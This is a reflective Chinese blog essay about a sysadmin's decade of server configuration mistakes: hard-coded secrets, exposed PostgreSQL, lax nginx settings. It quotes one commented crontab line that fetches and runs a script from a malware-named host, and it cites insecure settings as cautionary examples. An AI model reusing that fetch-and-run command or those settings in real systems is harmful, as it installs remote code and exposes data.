90%服务器漏洞，源于这3类配置疏漏

　　一三年那会儿，我跟老陈在西直门租的隔断间里搭第一台服务器。屋子朝北，冬天结霜，夏天风扇嘶嘶响——就那种老式铁皮罩子扇叶，转起来像拖拉机挂二挡。他叼着烟调试iptables规则，我在旁边抄《Linux安全配置速查表》，纸上油墨没干透，蹭得一手黑。备案宽松得像过家家，买个空间送域名，FTP密码设成123456都行。有次客户急着上线，我连SELinux都懒得开，直接chown -R www-data:www-data /var/www。老陈拍我肩膀：“别整虚的，能跑就行。”结果真跑了，半年没出事。

　　一七年换云平台，我原以为把本地脚本挪到Ansible里就算升级了。结果那年七月，客户那个电商后台被扫出三十七个未授权访问点。我盯着日志发呆，发现全卡在同一个漏洞：Nginx配置里proxy_pass后面硬写了http://127.0.0.1:8080，可后端Java服务压根没做鉴权。更糟的是，所有环境变量都写死在Dockerfile里——数据库密码、API密钥、甚至阿里云AccessKey全堆在明文里。我删掉再重写，手抖删错了行，整套CI直接崩掉，测试环境回滚不了。那天下午，小杨——就是当年在论坛教我改.htaccess的姑娘——发来截图：她刚帮某政务系统打补丁，就因为一个nginx.conf里client_body_timeout写成了10分钟，攻击者拖着大文件占满worker进程，触发了DDoS链式反应。我原以为配得越细越安全，结果配得越细越容易漏掉真正要命的地方。

　　二二年带新人，我教他们用Terraform管基础架构。有个小伙子问我：“老师，为什么咱们不给每台EC2实例都开CloudWatch Logs？”我没答上来。倒不是不会，是根本没想过要查那个日志——因为去年夏天，我亲自踩过坑：客户网站半夜被篡改首页，扒日志发现不是入侵，是运维同学误点了ECS控制台里的“全部重启”，而任务定义里env字段还挂着上个月测试用的旧密钥。他慌得删了所有告警规则，想手动排查，结果顺手清空了CloudTrail记录。等我凌晨三点连上去看，唯一线索只剩一条：/etc/crontab里多了一行注释：“【已废弃】请勿启用#/5 curl -s http://malware-host.ru/bot.sh | sh”。那行字是我三个月前写的测试模板，忘了删。

　　所以说90%漏洞源于配置疏漏，我认。不是嘴硬，是优胜劣汰筛出来的。一三年还能靠运气活，一七年开始有人翻车进派出所——去年新闻里那个医疗系统，管理员把PostgreSQL监听地址从localhost改成0.0.0.0，又忘了关pg_hba.conf的host all all 0.0.0.0/0 md5，三小时就被拖走四万份病历。不是黑客多厉害，是那人刚考完PMP，把“最小权限原则”记成了“最大兼容原则”。

　　不过我得承认一步走错了：二一年初，我把团队所有基础镜像打包进内部仓库，规定必须用“v2.1-sec”标签。结果没人看文档，全用latest拉取——因为镜像名太长，敲错一个字符就报错。我气得当众删了镜像库，第二天发现开发组悄悄建了个新源，叫“final-latest-2021”，底下全是带root密码的redis镜像。现在想想，与其封杀，不如把那个镜像做成空壳，启动时自动curl一次我的钉钉机器人……唉，但当时真没往那儿想。

文章配图，仅供参考

　　老李前两天在茶水间问我，他还记得一三年我们在论坛灌水区互刷经验分，他攒够八百贴换了个正版IDE，我用他的号挂机抢了五张腾讯云代金券。后来他卖了三个站，去搞SaaS合规审计；我留在原地，教零基础的人怎么在VSC里不手抖删掉node_modules。上周他发我截图，是某省政务云安全白皮书里的一条要求：“所有基础设施即代码模板须经三次人工复核”，底下备注写着，“参考《2017年某市财政局勒索事件溯源报告》”。我存了，但没点开。桌上那台显示器牌子至今没想起来，华硕？宏碁？算了，反正HDMI接口松动两年了，插紧才亮。

　　再说个闲事：小林，一七年一起修过教育局OA的，后来消失三年。上月朋友圈突然更新，发的图是他女儿幼儿园汇报演出，背景板上画着AWS图标和一行字“我们的云朵教室”。他配文说“终于把K8s调度原理讲给四岁半听懂了”。我没点赞。他早就不碰服务器了，改教小朋友用Scratch编消防疏散动画。

　　所以这事儿没法讲清楚——到底哪年算分水岭？一七年？二零年？还是去年夏天我盯着客户那个被注入的MySQL慢查询日志，突然想起老陈抽烟时弹落的灰掉进键盘缝隙，呛得他猛咳三声，然后说：“其实啊，安全不是加锁，是让锁长得不像锁。”我现在也这么教学生。但说实话，二四年这套我也拿不准还能干几年。上个月有个学员问我：“老师，GPT能自动修复YAML吗？”我没答。他手机屏幕反光里，正映着我身后那台永远没修好的显示器——边框泛黄，左下角有道裂痕。

（编辑：均轻资讯网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!